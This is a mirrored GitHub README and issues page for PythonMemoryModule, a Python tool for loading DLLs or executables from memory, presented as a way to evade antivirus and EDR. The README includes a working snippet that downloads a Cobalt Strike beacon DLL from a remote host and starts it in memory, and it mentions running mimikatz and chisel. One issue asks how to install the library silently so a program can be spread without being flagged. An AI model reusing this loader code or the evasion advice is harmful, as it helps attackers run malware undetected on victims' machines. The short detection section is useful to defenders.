Giter VIP home page Giter VIP logo

pythonmemorymodule's Introduction

Supported Python versions Twitter

PythonMemoryModule

pure-python implementation of MemoryModule technique to load a dll or unmanaged exe entirely from memory

immagine
"Python memory module" AI generated pic - hotpot.ai

What is it

PythonMemoryModule is a Python ctypes porting of the MemoryModule technique originally published by Joachim Bauch. It can load a dll or unmanaged exe using Python without requiring the use of an external library (pyd) and has (partial) support for commandline parameters passing.

It leverages pefile to parse PE headers, PythonForWindows to access process parameters, and ctypes for the heavy lifting. The tool was originally thought to be used as a Pyramid module to provide evasion against AV/EDR by loading dll/exe payloads in python.exe entirely from memory, however other use-cases are possible (IP protection, pyds in-memory loading, spinoffs for other stealthier techniques) so I decided to create a dedicated repo.

Why it can be useful

  1. It basically allows to use the MemoryModule techinque entirely in Python interpreted language, enabling the loading of a dll from a memory buffer using the stock signed python.exe binary without requiring dropping on disk external code/libraries (such as pymemorymodule bindings) that can be flagged by AV/EDRs or can raise user's suspicion.
  2. Using MemoryModule technique in compiled languages loaders would require to embed MemoryModule code within the loaders themselves. This can be avoided using Python interpreted language and PythonMemoryModule since the code can be executed dynamically and in memory.
  3. you can get some level of Intellectual Property protection by dynamically in-memory downloading, decrypting and loading dlls that should be hidden from prying eyes. Bear in mind that the dlls can be still recovered from memory and reverse-engineered, but at least it would require some more effort by the attacker.
  4. you can load a stageless payload dll without performing injection or shellcode execution. The loading process mimics the LoadLibrary Windows API (which takes a path on disk as input) without actually calling it and operating in memory.

How to use it

Example n.1

In the following example a Cobalt Strike stageless beacon dll is downloaded (not saved on disk), loaded in memory and started by calling the entrypoint.

import urllib.request
import ctypes
import pythonmemorymodule
request = urllib.request.Request('http://192.168.1.2/beacon.dll')
result = urllib.request.urlopen(request)
buf=result.read()
dll = pythonmemorymodule.MemoryModule(data=buf, debug=True)
startDll = dll.get_proc_addr('StartW')
assert startDll()
#dll.free_library()

Note: if you use staging in your malleable profile the dll would not be able to load with LoadLibrary, hence MemoryModule won't work.

Example n.2

In the following example we use the commandline passing funcionality to execute chisel in memory.

PythonMM.cmdline.mp4

Commandline parameters passing - Partial support

This technique hase been implemented by stomping the Commandline parameter on the PEB at runtime. This won't work with every executable since it depends on which functions are used to pass arguments.

Generally, to get a universally working technique would be required to hook GetCommandlineA GetCommandlineW __getmainargs and __wgetmainargs since PEB stomping won't cover all cases, more details here

During my testing I found that mimikatz and several go binaries are working just by doing PEB stomping, on the other hand, cmdline passing via PEB stomping alone to mingw and VS compiled binaries won't likely work.

How to detect it

Using the MemoryModule technique will mostly respect the sections' permissions of the target DLL and avoid the noisy RWX approach. However within the program memory there will be a private commit not backed by a dll on disk and this is a MemoryModule telltale.

pythonmemorymodule's People

Contributors

naksyn avatar rkbennett avatar

Stargazers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

Watchers

 avatar  avatar  avatar  avatar  avatar

pythonmemorymodule's Issues

some questions

first question: why i cant just run exe without arguments?
it throws an error TypeError: unsupported operand type(s) for +: 'NoneType' and 'str'
second question: does is support nuitka executable? ( i tried, but it doesn't work )
DEBUG: Starting new thread to execute PE DEBUG: Checking for entry point. DEBUG: Calling exe entrypoint 0x140001125
and nothing then

need help with a lil more stealth

if i were to spread it, it would obv be flagged with anyone with a brain due to the lib's name, can u recommend ways of silently installing the lib directly through the code?

doesn't work

so, i tried it with nuitka executable, everything seems to be fine, no errors, but executable isn't runned, though debug prints that entry point is called

[Feature Request] Add _handle attribute to returned MemoryModule object

There are some instances I've come across where you require the handle of the module that's been loaded into memory. Exposing a _handle attribute would be fairly simple. I believe you can just add a line above line 845 (thunkrefaddr = funcrefaddr = codebase + entry_struct.FirstThunk) which just says self._handle = hmod and that should be good enough to expose the handle as a property of the MemoryModule object.

MemoryModule function errors on execution

This is caused by a couple issues, at least in my python instance (3.10.x).

The first issue seems to be that in pefile.py ordlookup isn't defined on import

The second issue is related to importordinal in __init__ which in python3.10 doesn't have a decode method.

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    ๐Ÿ–– Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. ๐Ÿ“Š๐Ÿ“ˆ๐ŸŽ‰

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google โค๏ธ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.